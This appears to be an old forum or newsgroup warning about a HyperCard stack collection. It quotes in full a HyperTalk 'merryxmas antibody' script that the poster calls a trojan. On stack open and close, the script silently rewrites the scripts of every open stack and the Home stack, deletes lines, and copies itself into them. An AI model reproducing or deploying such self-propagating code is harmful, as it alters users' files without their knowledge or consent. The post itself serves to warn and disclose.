The stack collection HyperJavaScript.stak.sit (located on the ftp site)
contains in the bg of Compiler the script pasted below.
While some may consider it a good thing to prge merryxmas without the
user's knowledge and consent -- and possible screw things up in the
process (it appears to just blindy delete stuff...), it isn't. This is,
plain and simple, a trojan horse. Whoever posted this stack needs to
take care of it.
on openStack --merryxmas antibody
-- DO NOT DELETE THIS CODE, it keeps the virus known as merryxmas
-- OFF your computer!!!! written by: The Black Knight
doStuff
pass openstack
end openStack
on closestack
doStuff
pass closestack
end closestack
on doStuff
put cantabort of this stack into c
set cantabort of this stack to true
global merryxmasAntibodyCheckListA,merryxmasAntibodyCheckListB
put merryxmasAntibodyCheckListA into listA
put merryxmasAntibodyCheckListB into listB
put empty into my
put the stacksinuse into stk
put the number of lines in stk into ln
put 0 into counter
repeat ln times
put 1 + counter into counter
put the long name of stack (line counter of stk) into temp
if listA contains temp then
else
put return & temp after listA
put line counter of stk into temp
put the script of stack temp into scr
put purgevir(scr) into scr
put cantmodify of stack temp into a
set cantmodify of stack temp to false
set the script of stack temp to scr
set cantmodify of stack temp to a
end if
end repeat
put empty into scr
put the long name of home into temp
if listA contains temp then
else
put return & the long name of home after listA
put the script of home into scr
put purgevir(scr) into scr
put cantmodify of home into a
set cantmodify of home to false
set the script of home to scr
set cantmodify of home to a
end if
if listB contains temp then
else
put return & the long name of home after listB
if scr is empty then put the script of home into scr
put the long name of me into st
if st is the long name of home then put getme(the script of home) into my
else put getme(the script of this background) into my
if scr contains "on openstack --merryxmas antibody" then
else put return & my after scr
put cantmodify of home into a
set cantmodify of home to false
set the script of home to scr
set cantmodify of home to a
end if
put empty into scr
put the long name of this stack into temp
if listA contains temp then
else
put the script of this stack into scr
put purgevir(scr) into scr
put return & temp after listA
put cantmodify of this stack into a
set cantmodify of this stack to false
set the script of this stack to scr
set cantmodify of this stack to a
end if
if listB contains temp then
else
put the script of this background into scr
if my is empty then
put the long name of me into st
if st is the long name of home then put getme(the script of home) into my
else put getme(the script of this background) into my
end if
if scr contains "on openstack --merryxmas antibody" then
else put return & my after scr
put return & temp after listB
put cantmodify of this stack into a
set cantmodify of this stack to false
set the script of this background to scr
set cantmodify of this stack to a
end if
put listA into merryxmasAntibodyCheckListA
put listB into merryxmasAntibodyCheckListB
set cantabort of this stack to c
end doStuff
function lineoffset sea,src
return the number of lines in (char 1 to offset(sea,src) of src)
end lineoffset
function getme src
put lineoffset("on openstack --merryxmas antibody",src) into a
put a + 143 into c
put (line a to c of src) into b
return b
end getme
function vacinate src,a
if (src contains "on openbackground merryxmas") or �
(src contains "on openbackground --merryxmas") or (a is true) then
else
put return & return & "--- DO NOT DELETE ---" & return & �
"--**** MERRYXMAS VIRUS BLOCK ****--" & return &�
"--on openbackground merryxmas" & return &�
"--on closebackground merryxmas" & return &�
"--on idle merryxmas" & return &�
"--on openbackground --merryxmas" & return &�
"--on closebackground --merryxmas" & return &�
"--on idle --merryxmas" & return &�
"-- DO NOT DELETE" & return &�
"-- ** MERRYXMAS VIRUS BLOCKER ** --" & return & "--" & return after src
end if
return src
end vacinate
function purgevir src
put empty into b
if src contains "on openbackground merryxmas" then
put lineoffset("on openbackground merryxmas",src) into a
if (char 1 to 27 of line a of src) is "on openbackground merryxmas"
then put a into b
end if
if src contains "on openbackground --merryxmas" then
put lineoffset("on openbackground --merryxmas",src) into a
if (char 1 to 29 of line a of src) is "on openbackground
--merryxmas" then put a into b
end if
if b is not empty then delete line b to (b+54) of src
put vacinate(src,false) into src
return src
end purgevir